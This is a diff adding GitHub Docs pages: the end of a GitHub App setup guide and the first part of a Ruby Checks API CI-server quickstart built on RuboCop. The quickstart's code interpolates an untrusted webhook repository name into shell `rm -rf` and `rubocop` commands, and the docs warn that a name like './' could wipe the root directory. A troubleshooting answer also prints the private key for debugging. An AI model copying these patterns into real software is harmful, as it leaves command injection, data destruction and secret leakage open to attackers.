Authenticating as a GitHub App + +To make API calls, you'll be using the [Octokit library](http://octokit.github.io/octokit.rb/). Doing anything interesting with this library will require you, or rather your app, to authenticate. GitHub Apps have two methods of authentication: + +- Authenticating as a GitHub App using a [JSON Web Token (JWT)](https://jwt.io/introduction). +- Authenticating as a specific installation of a GitHub App using an installation access token. + +You'll learn about authenticating as an installation in the [next section](#authenticating-as-an-installation). + +[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app) lets you do a couple of things: + + * You can retrieve high-level management information about your GitHub App. + * You can request access tokens for an installation of the app. + +For example, you would authenticate as a GitHub App to retrieve a list of the accounts (organization and personal) that have installed your app. But this authentication method doesn't allow you to do much with the API. To access a repository's data and perform operations on behalf of the installation, you need to authenticate as an installation. To do that, you'll need to authenticate as a GitHub App first to request an installation access token. + +Before you can use the Octokit.rb library to make API calls, you'll need to initialize an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as a GitHub App. The `authenticate_app` helper method does just that! + +``` ruby +# Instantiate an Octokit client authenticated as a GitHub App. +# GitHub App authentication requires that you construct a +# JWT (https://jwt.io/introduction/) signed with the app's private key, +# so GitHub can be sure that it came from the app an not altered by +# a malicious third party. +def authenticate_app + payload = { + # The time that this JWT was issued, _i.e._ now. + iat: Time.now.to_i, + + # JWT expiration time (10 minute maximum) + exp: Time.now.to_i + (10 * 60), + + # Your GitHub App's identifier number + iss: APP_IDENTIFIER + } + + # Cryptographically sign the JWT + jwt = JWT.encode(payload, PRIVATE_KEY, 'RS256') + + # Create the Octokit client, using the JWT as the auth token. + @app_client ||= Octokit::Client.new(bearer_token: jwt) +end +``` + +The code above generates a [JSON Web Token (JWT)](https://jwt.io/introduction) and uses it (along with your app's private key) to initialize the Octokit client. GitHub checks a request's authentication by verifying the token with the app's stored public key. To learn more about how this code works, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)." + +#### Authenticating as an installation + +An _installation_ refers to any user or organization account that has installed the app. Even if someone installs the app on more than one repository, it only counts as one installation because it's within the same account. The last helper method `authenticate_installation` initializes an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as an installation. This Octokit client is what you'd use to make authenticated API calls. + +``` ruby +# Instantiate an Octokit client authenticated as an installation of a +# GitHub App to run API operations. +def authenticate_installation(payload) + installation_id = payload['installation']['id'] + installation_token = @app_client.create_app_installation_access_token(installation_id)[:token] + @installation_client = Octokit::Client.new(bearer_token: installation_token) +end +``` + +The [`create_app_installation_access_token`](http://octokit.github.io/octokit.rb/Octokit/Client/Apps.html#create_app_installation_access_token-instance_method) Octokit method creates an installation token. This method accepts two arguments: + +* Installation (integer): The ID of a GitHub App installation +* Options (hash, defaults to `{}`): A customizable set of options + +Any time a GitHub App receives a webhook, it includes an `installation` object with an `id`. Using the client authenticated as a GitHub App, you pass this ID to the `create_app_installation_access_token` method to generate an access token for each installation. Since you're not passing any options to the method, the options default to an empty hash. If you look back at [the docs](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation), you can see the response for `create_app_installation_access_token` includes two fields: `token` and `expired_at`. The template code selects the token in the response and initializes an installation client. + +With this method in place, each time your app receives a new webhook payload, it creates a client for the installation that triggered the event. This authentication process enables your GitHub App to work for all installations on any account. + +Now you're ready to start making API calls! + +## Step 6. Start the server + +Your app doesn't _do_ anything yet, but at this point, you can get it running on the server. + +Keep Smee running in the current tab in your Terminal. Open a new tab and `cd` into the directory where you [cloned the template app code](#prerequisites). The Ruby code in this repository will start up a [Sinatra](http://sinatrarb.com/) web server. This code has a few dependencies. You can install these by running: + +```shell +$ gem install bundler +``` + +Followed by: + +```shell +$ bundle install +``` + +With the dependencies installed, you can start the server: + +```shell +$ bundle exec ruby template_server.rb +``` + +You should see a response like: + +```shell +> == Sinatra (v2.0.3) has taken the stage on 3000 for development with backup from Puma +> Puma starting in single mode... +> * Version 3.11.2 (ruby 2.4.0-p0), codename: Love Song +> * Min threads: 0, max threads: 16 +> * Environment: development +> * Listening on tcp://localhost:3000 +> Use Ctrl-C to stop +``` + +If you see an error, make sure you've created the `.env` file in the directory that contains `template_server.rb`. + +Once the server is running, you can test it by going to `http://localhost:3000` in your browser. If the app works as expected, you'll see a helpful error page: + +<img src="/assets/images/sinatra-404.png" alt="Sinatra's 404 error page" width="500px"/> + +This is good! Even though it's an error page, it's a _Sinatra_ error page, which means your app is connected to the server as expected. You're seeing this message because you haven't given the app anything else to show. + +## Step 7. Install the app on your account + +You can test that the server is listening to your app by triggering an event for it to receive. A simple event you can test is installing the app on your GitHub account, which should send the [`installation`](/webhooks/event-payloads/#installation) event. If the app receives it, you should see some output in the Terminal tab where you started `template_server.rb`. + +To install the app, visit the [app settings page](https://github.com/settings/apps), choose your app, and click **Install App** in the sidebar. Next to your username, click **Install**. + +You'll be asked whether to install the app on all repositories or selected repositories. If you don't want to install the app on _all_ of your repositories, that's okay! You may want to create a sandbox repository for testing purposes and install your app there. + +<img src="/assets/images/install_permissions.png" alt="App installation permissions" width="500px"/> + +After you click **Install**, look at the output in your Terminal. You should see something like this: + +```shell +> D, [2018-06-29T15:45:43.773077 #30488] DEBUG -- : ---- received event integration_installation +> D, [2018-06-29T15:45:43.773141 #30488] DEBUG -- : ---- action created +> 192.30.252.44 - - [29/Jun/2018:15:45:43 -0400] "POST / HTTP/2" 200 2 0.0067 +> D, [2018-06-29T15:45:43.833016 #30488] DEBUG -- : ---- received event installation +> D, [2018-06-29T15:45:43.833062 #30488] DEBUG -- : ---- action created +> 192.30.252.39 - - [29/Jun/2018:15:45:43 -0400] "POST / HTTP/2" 200 2 0.0019 +``` + +This is good news! It means your app received a notification that it was installed on your GitHub account. If you see something like this, your app is running on the server as expected. 🙌 + +If you don't see the output, make sure Smee is running correctly in another Terminal tab. If you need to restart Smee, note that you'll also need to _uninstall_ and _reinstall_ the app to send the `installation` event to your app again and see the output in Terminal. If Smee isn't the problem, see the "[Troubleshooting](#troubleshooting)" section for other ideas. + +If you're wondering where the Terminal output above is coming from, it's written in the [app template code](#prerequisites) in `template_server.rb`. + +## Troubleshooting + +Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}. + +* **Q:** When I try to install the Smee command-line client, I get the following error: + + ```shell + > npm: command not found + ``` + + **A:** Looks like you don't have npm installed. The best way to install it is to download the Node.js package at https://nodejs.org and follow the installation instructions for your system. npm will be installed alongside Node.js. + +* **Q:** When I run the server, I get the following error: + + ```shell + > server.rb:38:in `initialize': Neither PUB key nor PRIV key: header too long (OpenSSL::PKey::RSAError) + ``` + + **A:** You probably haven't set up your private key environment variable quite right. Your `GITHUB_PRIVATE_KEY` variable should look like this: + + ``` + GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- + ... + HkVN9... + ... + -----END RSA PRIVATE KEY-----" + ``` + + Double-check that you've copied the correct public key into your `.env` file. + +* **Q:** When I run the server, it crashes with this error: + + ```shell + > Octokit::Unauthorized ... 401 - Bad credentials` + ``` + + **A:** You may be authenticated as a GitHub App but not as an installation. Make sure you follow all the steps under "[Authenticate as an installation](#authenticating-as-an-installation)," and use the `@installation_client` instance variable (authenticated with an installation access token) for your API operations, not the `@app_client` instance variable (authenticated with a JWT). The `@app_client` can only retrieve high-level information about your app and obtain installation access tokens. It can't do much else in the API. + +* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm installing the app on a repository on GitHub, but I don't see any output in the Terminal window where I'm running the server. + + **A:** You may not be running the Smee client, running the Smee command with the wrong parameters or you may not have the correct Smee domain in your GitHub App settings. First check to make sure the Smee client is running in a Terminal tab. If that's not the problem, visit your [app settings page](https://github.com/settings/apps) and check the fields shown in "[Step 2. Register a new GitHub App](#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)." If none of the above work, check that you are running the full Smee command including the `--path` and `--port` options, for example: `smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000` (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own Smee domain). + +* **Q:** I'm getting an `Octokit::NotFound` 404 error in my debug output: + ``` + 2018-12-06 15:00:56 - Octokit::NotFound - POST {% data variables.product.api_url_code %}/app/installations/500991/access_tokens: 404 - Not Found // See: /v3/apps/#create-a-new-installation-token: + ``` + + **A:** Ensure the variables in your `.env` file are correct. Make sure that you have not set identical variables in any other environment variable files like `bash_profile`. You can check the environment variables your app is using by adding `puts` statements to your app code and re-running the code. For example, to ensure you have the correct private key set, you could add `puts PRIVATE_KEY` to your app code: + + ``` + PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) + puts PRIVATE_KEY + ``` + +## Conclusion + +After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you: + +* Registered a new GitHub App +* Used Smee to receive webhook payloads +* Ran a simple web server via Sinatra +* Authenticated as a GitHub App +* Authenticated as an installation + +## Next steps + +You now have a GitHub App running on a server. It doesn't do anything special yet, but check out some of the ways you can customize your GitHub App template in the other [quickstart guides](/apps/quickstart-guides/). diff --git a/translations/ru-RU/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md b/translations/ru-RU/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md new file mode 100644 index 000000000000..d7a628b157a3 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md @@ -0,0 +1,754 @@ +--- +title: Creating CI tests with the Checks API +intro: 'Build a continuous integration server to run tests using a {% data variables.product.prodname_github_app %} and the Checks API.' +redirect_from: + - /apps/quickstart-guides/creating-ci-tests-with-the-checks-api + - /developers/apps/creating-ci-tests-with-the-checks-api +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: CI tests using Checks API +--- +## Introduction + +This guide will introduce you to [GitHub Apps](/apps/) and the [Checks API](/rest/reference/checks), which you'll use to build a continuous integration (CI) server that runs tests. + +CI is a software practice that requires frequently committing code to a shared repository. Committing code more often raises errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. 🙌 + +A CI server hosts code that runs CI tests such as code linters (which check style formatting), security checks, code coverage, and other checks against new code commits in a repository. CI servers can even build and deploy code to staging or production servers. For some examples of the types of CI tests you can create with a GitHub App, check out the [continuous integration apps](https://github.com/marketplace/category/continuous-integration) available in GitHub Marketplace. + +{% data reusables.apps.app-ruby-guides %} + +### Checks API overview + +The [Checks API](/rest/reference/checks) allows you to set up CI tests that are automatically run against each code commit in a repository. The Checks API reports detailed information about each check on GitHub in the pull request's **Checks** tab. With the Checks API, you can create annotations with additional details for specific lines of code. Annotations are visible in the **Checks** tab. When you create an annotation for a file that is part of the pull request, the annotations are also shown in the **Files changed** tab. + +A _check suite_ is a group of _check runs_ (individual CI tests). Both the suite and the runs contain _statuses_ that are visible in a pull request on GitHub. You can use statuses to determine when a code commit introduces errors. Using these statuses with [protected branches](/rest/reference/repos#branches) can prevent people from merging pull requests prematurely. See "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" for more details. + +The Checks API sends the [`check_suite` webhook event](/webhooks/event-payloads/#check_suite) to all GitHub Apps installed on a repository each time new code is pushed to the repository. To receive all Checks API event actions, the app must have the `checks:write` permission. GitHub automatically creates `check_suite` events for new code commits in a repository using the default flow, although [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites) if you'd like. Here's how the default flow works: + +1. Whenever someone pushes code to the repository, GitHub sends the `check_suite` event with an action of `requested` to all GitHub Apps installed on the repository that have the `checks:write` permission. This event lets the apps know that code was pushed and that GitHub has automatically created a new check suite. +1. When your app receives this event, it can [add check runs](/rest/reference/checks#create-a-check-run) to that suite. +1. Your check runs can include [annotations](/rest/reference/checks#annotations-object) that are displayed on specific lines of code. + +**In this guide, you’ll learn how to:** + +* Part 1: Set up the framework for a CI server using the Checks API. + * Configure a GitHub App as a server that receives Checks API events. + * Create new check runs for CI tests when a repository receives newly pushed commits. + * Re-run check runs when a user requests that action on GitHub. +* Part 2: Build on the CI server framework you created by adding a linter CI test. + * Update a check run with a `status`, `conclusion`, and `output` details. + * Create annotations on lines of code that GitHub displays in the **Checks** and **Files Changed** tab of a pull request. + * Automatically fix linter recommendations by exposing a "Fix this" button in the **Checks** tab of the pull request. + +To get an idea of what your Checks API CI server will do when you've completed this quickstart, check out the demo below: + +![Demo of Checks API CI sever quickstart](/assets/images/github-apps/github_apps_checks_api_ci_server.gif) + +## Prerequisites + +Before you get started, you may want to familiarize yourself with [GitHub Apps](/apps/), [Webhooks](/webhooks), and the [Checks API](/rest/reference/checks), if you're not already. You'll find more APIs in the [REST API docs](/rest). The Checks API is also available to use in [GraphQL](/graphql), but this quickstart focuses on REST. See the GraphQL [Checks Suite](/graphql/reference/objects#checksuite) and [Check Run](/graphql/reference/objects#checkrun) objects for more details. + +You'll use the [Ruby programming language](https://www.ruby-lang.org/en/), the [Smee](https://smee.io/) webhook payload delivery service, the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/) for the GitHub REST API, and the [Sinatra web framework](http://sinatrarb.com/) to create your Checks API CI server app. + +You don't need to be an expert in any of these tools or concepts to complete this project. This guide will walk you through all the required steps. Before you begin creating CI tests with the Checks API, you'll need to do the following: + +1. Clone the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository. + ```shell + $ git clone https://github.com/github-developer/creating-ci-tests-with-the-checks-api.git + ``` + + Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code. + +1. Follow the steps in the "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)" quickstart to configure and run the app server. **Note:** Instead of [cloning the GitHub App template repository](/apps/quickstart-guides/setting-up-your-development-environment/#prerequisites), use the `template_server.rb` file in the repository you cloned in the previous step in this quickstart. + + If you've completed a GitHub App quickstart before, make sure to register a _new_ GitHub App and start a new Smee channel to use with this quickstart. + + See the [troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App. + +## Part 1. Creating the Checks API interface + +In this part, you will add the code necessary to receive `check_suite` webhook events and create and update check runs. You'll also learn how to create check runs when a check was re-requested on GitHub. At the end of this section, you'll be able to view the check run you created in a GitHub pull request. + +Your check run will not be performing any checks on the code in this section. You'll add that functionality in [Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test). + +You should already have a Smee channel configured that is forwarding webhook payloads to your local server. Your server should be running and connected to the GitHub App you registered and installed on a test repository. If you haven't completed the steps in "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)," you'll need to do that before you can continue. + +Let's get started! These are the steps you'll complete in Part 1: + +1. [Updating app permissions](#step-11-updating-app-permissions) +1. [Adding event handling](#step-12-adding-event-handling) +1. [Creating a check run](#step-13-creating-a-check-run) +1. [Updating a check run](#step-14-updating-a-check-run) + +## Step 1.1. Updating app permissions + +When you [first registered your app](#prerequisites), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read and write checks. + +To update your app's permissions: + +1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar. +1. In the "Permissions" section, find "Checks", and select **Read & write** in the Access dropdown next to it. +1. In the "Subscribe to events" section, select **Check suite** and **Check run** to subscribe to these events. +{% data reusables.apps.accept_new_permissions_steps %} + +Great! Your app has permission to do the tasks you want it to do. Now you can add the code to handle the events. + +## Step 1.2. Adding event handling + +Now that your app is subscribed to the **Check suite** and **Check run** events, it will start receiving the [`check_suite`](/webhooks/event-payloads/#check_suite) and [`check_run`](/webhooks/event-payloads/#check_run) webhooks. GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads at the `post '/event_handler'` route. + +An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this: + +``` ruby + post '/event_handler' do + + # # # # # # # # # # # # + # ADD YOUR CODE HERE # + # # # # # # # # # # # # + + 200 # success status + end +``` + +Use this route to handle the `check_suite` event by adding the following code: + +``` ruby +# Get the event type from the HTTP_X_GITHUB_EVENT header +case request.env['HTTP_X_GITHUB_EVENT'] +when 'check_suite' + # A new check_suite has been created. Create a new check run with status queued + if @payload['action'] == 'requested' || @payload['action'] == 'rerequested' + create_check_run + end +end +``` + +Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in events of type `check_suite`, which are emitted when a new check suite is created. Each event has an additional `action` field that indicates the type of action that triggered the events. For `check_suite`, the `action` field can be `requested`, `rerequested`, or `completed`. + +The `requested` action requests a check run each time code is pushed to the repository, while the `rerequested` action requests that you re-run a check for code that already exists in the repository. Because both the `requested` and `rerequested` actions require creating a check run, you'll call a helper called `create_check_run`. Let's write that method now. + +## Step 1.3. Creating a check run + +You'll add this new method as a [Sinatra helper](https://github.com/sinatra/sinatra#helpers) in case you want other routes to use it too. Under `helpers do`, add this `create_check_run` method: + +``` ruby +# Create a new check run with the status queued +def create_check_run + @installation_client.create_check_run( + # [String, Integer, Hash, Octokit Repository object] A GitHub repository. + @payload['repository']['full_name'], + # [String] The name of your check run. + 'Octo RuboCop', + # [String] The SHA of the commit to check + # The payload structure differs depending on whether a check run or a check suite event occurred. + @payload['check_run'].nil? ? @payload['check_suite']['head_sha'] : @payload['check_run']['head_sha'], + # [Hash] 'Accept' header option, to avoid a warning about the API not being ready for production use. + accept: 'application/vnd.github+json' + ) +end +``` + +This code calls the "[Create a check run](/rest/reference/checks#create-a-check-run)" endpoint using the [create_check_run method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:create_check_run). + +To create a check run, only two input parameters are required: `name` and `head_sha`. We will use [RuboCop](https://rubocop.readthedocs.io/en/latest/) to implement the CI test later in this quickstart, which is why the name "Octo RuboCop" is used here, but you can choose any name you'd like for the check run. + +You're only supplying the required parameters now to get the basic functionality working, but you'll update the check run later as you collect more information about the check run. By default, GitHub sets the `status` to `queued`. + +GitHub creates a check run for a specific commit SHA, which is why `head_sha` is a required parameter. You can find the commit SHA in the webhook payload. Although you're only creating a check run for the `check_suite` event right now, it's good to know that the `head_sha` is included in both the `check_suite` and `check_run` objects in the event payloads. + +In the code above, you're using the [ternary operator](https://ruby-doc.org/core-2.3.0/doc/syntax/control_expressions_rdoc.html#label-Ternary+if), which works like an `if/else` statement, to check if the payload contains a `check_run` object. If it does, you read the `head_sha` from the `check_run` object, otherwise you read it from the `check_suite` object. + +To test this code, restart the server from your terminal: + +```shell +$ ruby template_server.rb +``` + +{% data reusables.apps.sinatra_restart_instructions %} + +Now open a pull request in the repository where you installed your app. Your app should respond by creating a check run on your pull request. Click on the **Checks** tab, and you should see something like this: + +![Queued check run](/assets/images/github-apps/github_apps_queued_check_run.png) + +If you see other apps in the Checks tab, it means you have other apps installed on your repository that have **Read & write** access to checks and are subscribed to **Check suite** and **Check run** events. + +Great! You've told GitHub to create a check run. You can see the check run status is set to `queued` next to a yellow icon. Next, you'll want to wait for GitHub to create the check run and update its status. + +## Step 1.4. Updating a check run + +When your `create_check_run` method runs, it asks GitHub to create a new check run. When GitHub finishes creating the check run, you'll receive the `check_run` webhook event with the `created` action. That event is your signal to begin running the check. + +You'll want to update your event handler to look for the `created` action. While you're updating the event handler, you can add a conditional for the `rerequested` action. When someone re-runs a single test on GitHub by clicking the "Re-run" button, GitHub sends the `rerequested` check run event to your app. When a check run is `rerequested`, you'll want to start the process all over and create a new check run. + +To include a condition for the `check_run` event in the `post '/event_handler'` route, add the following code under `case request.env['HTTP_X_GITHUB_EVENT']`: + +``` ruby +when 'check_run' + # Check that the event is being sent to this app + if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER + case @payload['action'] + when 'created' + initiate_check_run + when 'rerequested' + create_check_run + end + end +``` + +GitHub sends all events for `created` check runs to every app installed on a repository that has the necessary checks permissions. That means that your app will receive check runs created by other apps. A `created` check run is a little different from a `requested` or `rerequested` check suite, which GitHub sends only to apps that are being requested to run a check. The code above looks for the check run's application ID. This filters out all check runs for other apps on the repository. + +Next you'll write the `initiate_check_run` method, which is where you'll update the check run status and prepare to kick off your CI test. + +In this section, you're not going to kick off the CI test yet, but you'll walk through how to update the status of the check run from `queued` to `pending` and then from `pending` to `completed` to see the overall flow of a check run. In "[Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test)," you'll add the code that actually performs the CI test. + +Let's create the `initiate_check_run` method and update the status of the check run. Add the following code to the helpers section: + +``` ruby +# Start the CI process +def initiate_check_run + # Once the check run is created, you'll update the status of the check run + # to 'in_progress' and run the CI process. When the CI finishes, you'll + # update the check run status to 'completed' and add the CI results. + + @installation_client.update_check_run( + @payload['repository']['full_name'], + @payload['check_run']['id'], + status: 'in_progress', + accept: 'application/vnd.github+json' + ) + + # ***** RUN A CI TEST ***** + + # Mark the check run as complete! + @installation_client.update_check_run( + @payload['repository']['full_name'], + @payload['check_run']['id'], + status: 'completed', + conclusion: 'success', + accept: 'application/vnd.github+json' + ) +end +``` + +The code above calls the "[Update a check run](/rest/reference/checks#update-a-check-run)" API endpoint using the [`update_check_run` Octokit method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:update_check_run) to update the check run that you already created. + +Here's what this code is doing. First, it updates the check run's status to `in_progress` and implicitly sets the `started_at` time to the current time. In [Part 2](#part-2-creating-the-octo-rubocop-ci-test) of this quickstart, you'll add code that kicks off a real CI test under `***** RUN A CI TEST *****`. For now, you'll leave that section as a placeholder, so the code that follows it will just simulate that the CI process succeeds and all tests pass. Finally, the code updates the status of the check run again to `completed`. + +You'll notice in the "[Update a check run](/rest/reference/checks#update-a-check-run)" docs that when you provide a status of `completed`, the `conclusion` and `completed_at` parameters are required. The `conclusion` summarizes the outcome of a check run and can be `success`, `failure`, `neutral`, `cancelled`, `timed_out`, or `action_required`. You'll set the conclusion to `success`, the `completed_at` time to the current time, and the status to `completed`. + +You could also provide more details about what your check is doing, but you'll get to that in the next section. Let's test this code again by re-running `template_server.rb`: + +```shell +$ ruby template_server.rb +``` + +Head over to your open pull request and click the **Checks** tab. Click the "Re-run all" button in the upper left corner. You should see the check run move from `pending` to `in_progress` and end with `success`: + +![Completed check run](/assets/images/github-apps/github_apps_complete_check_run.png) + +## Part 2. Creating the Octo RuboCop CI test + +[RuboCop](https://rubocop.readthedocs.io/en/latest/) is a Ruby code linter and formatter. It checks Ruby code to ensure that it complies with the "[Ruby Style Guide](https://github.com/rubocop-hq/ruby-style-guide)." RuboCop has three primary functions: + +* Linting to check code style +* Code formatting +* Replaces the native Ruby linting capabilities using `ruby -w` + +Now that you've got the interface created to receive Checks API events and create check runs, you can create a check run that implements a CI test. + +Your app will run RuboCop on the CI server and create check runs (CI tests in this case) that report the results that RuboCop reports to GitHub. + +The Checks API allows you to report rich details about each check run, including statuses, images, summaries, annotations, and requested actions. + +Annotations are information about specific lines of code in a repository. An annotation allows you to pinpoint and visualize the exact parts of the code you'd like to show additional information for. That information can be anything: for example, a comment, an error, or a warning. This quickstart uses annotations to visualize RuboCop errors. + +To take advantage of requested actions, app developers can create buttons in the **Checks** tab of pull requests. When someone clicks one of these buttons, the click sends a `requested_action` `check_run` event to the GitHub App. The action that the app takes is completely configurable by the app developer. This quickstart will walk you through adding a button that allows users to request that RuboCop fix the errors it finds. RuboCop supports automatically fixing errors using a command-line option, and you'll configure the `requested_action` to take advantage of this option. + +Let's get started! These are the steps you'll complete in this section: + +1. [Adding a Ruby file](#step-21-adding-a-ruby-file) +1. [Cloning the repository](#step-22-cloning-the-repository) +1. [Running RuboCop](#step-23-running-rubocop) +1. [Collecting RuboCop errors](#step-24-collecting-rubocop-errors) +1. [Updating the check run with CI test results](#step-25-updating-the-check-run-with-ci-test-results) +1. [Automatically fixing RuboCop errors](#step-26-automatically-fixing-rubocop-errors) +1. [Security tips](#step-27-security-tips) + +## Step 2.1. Adding a Ruby file + +You can pass specific files or entire directories for RuboCop to check. In this quickstart, you'll run RuboCop on an entire directory. Because RuboCop only checks Ruby code, you'll want at least one Ruby file in your repository that contains errors. The example file provided below contains a few errors. Add this example Ruby file to the repository where your app is installed (make sure to name the file with an `.rb` extension, as in `myfile.rb`): + +```ruby +# The Octocat class tells you about different breeds of Octocat +class Octocat + def initialize(name, *breeds) + # Instance variables + @name = name + @breeds = breeds + end + + def display + breed = @breeds.join("-") + + puts "I am of #{breed} breed, and my name is #{@name}." + end +end + +m = Octocat.new("Mona", "cat", "octopus") +m.display +``` + +## Step 2.2. Cloning the repository + +RuboCop is available as a command-line utility. That means your GitHub App will need to clone a local copy of the repository on the CI server so RuboCop can parse the files. To run Git operations in your Ruby app, you can use the [ruby-git](https://github.com/ruby-git/ruby-git) gem. + +The `Gemfile` in the `building-a-checks-api-ci-server` repository already includes the ruby-git gem, and you installed it when you ran `bundle install` in the [prerequisite steps](#prerequisites). To use the gem, add this code to the top of your `template_server.rb` file: + +``` ruby +require 'git' +``` + +Your app needs read permission for "Repository contents" to clone a repository. Later in this quickstart, you'll need to push contents to GitHub, which requires write permission. Go ahead and set your app's "Repository contents" permission to **Read & write** now so you don't need to update it again later. To update your app's permissions: + +1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar. +1. In the "Permissions" section, find "Repository contents", and select **Read & write** in the "Access" dropdown next to it. +{% data reusables.apps.accept_new_permissions_steps %} + +To clone a repository using your GitHub App's permissions, you can use the app's installation token (`x-access-token:<token>`) shown in the example below: + +```shell +git clone https://x-access-token:<token>@github.com/<owner>/<repo>.git +``` + +The code above clones a repository over HTTP. It requires the full repository name, which includes the repository owner (user or organization) and the repository name. For example, the [octocat Hello-World](https://github.com/octocat/Hello-World) repository has a full name of `octocat/hello-world`. + +After your app clones the repository, it needs to pull the latest code changes and check out a specific Git ref. The code to do all of this will fit nicely into its own method. To perform these operations, the method needs the name and full name of the repository and the ref to checkout. The ref can be a commit SHA, branch, or tag. Add the following new method to the helper method section in `template_server.rb`: + +``` ruby +# Clones the repository to the current working directory, updates the +# contents using Git pull, and checks out the ref. +# +# full_repo_name - The owner and repo. Ex: octocat/hello-world +# repository - The repository name +# ref - The branch, commit SHA, or tag to check out +def clone_repository(full_repo_name, repository, ref) + @git = Git.clone("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", repository) + pwd = Dir.getwd() + Dir.chdir(repository) + @git.pull + @git.checkout(ref) + Dir.chdir(pwd) +end +``` + +The code above uses the `ruby-git` gem to clone the repository using the app's installation token. This code clones the code in the same directory as `template_server.rb`. To run Git commands in the repository, the code needs to change into the repository directory. Before changing directories, the code stores the current working directory in a variable (`pwd`) to remember where to return before exiting the `clone_repository` method. + +From the repository directory, this code fetches and merges the latest changes (`@git.pull`), checks out the ref (`@git.checkout(ref)`), then changes the directory back to the original working directory (`pwd`). + +Now you've got a method that clones a repository and checks out a ref. Next, you need to add code to get the required input parameters and call the new `clone_repository` method. Add the following code under the `***** RUN A CI TEST *****` comment in your `initiate_check_run` helper method: + +``` ruby +# ***** RUN A CI TEST ***** +full_repo_name = @payload['repository']['full_name'] +repository = @payload['repository']['name'] +head_sha = @payload['check_run']['head_sha'] + +clone_repository(full_repo_name, repository, head_sha) +``` + +The code above gets the full repository name and the head SHA of the commit from the `check_run` webhook payload. + +## Step 2.3. Running RuboCop + +Great! You're cloning the repository and creating check runs using your CI server. Now you'll get into the nitty gritty details of the [RuboCop linter](https://docs.rubocop.org/rubocop/usage/basic_usage.html#code-style-checker) and [Checks API annotations](/rest/reference/checks#create-a-check-run). + +The following code runs RuboCop and saves the style code errors in JSON format. Add this code below the call to `clone_repository` you added in the [previous step](#step-22-cloning-the-repository) and above the code that updates the check run to complete. + +``` ruby +# Run RuboCop on all files in the repository +@report = `rubocop '#{repository}' --format json` +logger.debug @report +`rm -rf #{repository}` +@output = JSON.parse @report +``` + +The code above runs RuboCop on all files in the repository's directory. The option `--format json` is a handy way to save a copy of the linting results in a machine-parsable format. See the [RuboCop docs](https://docs.rubocop.org/rubocop/formatters.html#json-formatter) for details and an example of the JSON format. + +Because this code stores the RuboCop results in a `@report` variable, it can safely remove the checkout of the repository. This code also parses the JSON so you can easily access the keys and values in your GitHub App using the `@output` variable. + +{% note %} + +**Note:** The command used to remove the repository (`rm -rf`) cannot be undone. See [Step 2.7. Security tips](#step-27-security-tips) to learn how to check webhooks for injected malicious commands that could be used to remove a different directory than intended by your app. For example, if a bad actor sent a webhook with the repository name `./`, your app would remove the root directory. 😱 If for some reason you're _not_ using the method `verify_webhook_signature` (which is included in `template_server.rb`) to validate the sender of the webhook, make sure you check that the repository name is valid. + +{% endnote %} + +You can test that this code works and see the errors reported by RuboCop in your server's debug output. Start up the `template_server.rb` server again and create a new pull request in the repository where you're testing your app: + +```shell +$ ruby template_server.rb +``` + +You should see the linting errors in the debug output, although they aren't printed with formatting. You can use a web tool like [JSON formatter](https://jsonformatter.org/) to format your JSON output like this formatted linting error output: + +```json +{ + "metadata": { + "rubocop_version": "0.60.0", + "ruby_engine": "ruby", + "ruby_version": "2.3.7", + "ruby_patchlevel": "456", + "ruby_platform": "universal.x86_64-darwin18" + }, + "files": [ + { + "path": "Octocat-breeds/octocat.rb", + "offenses": [ + { + "severity": "convention", + "message": 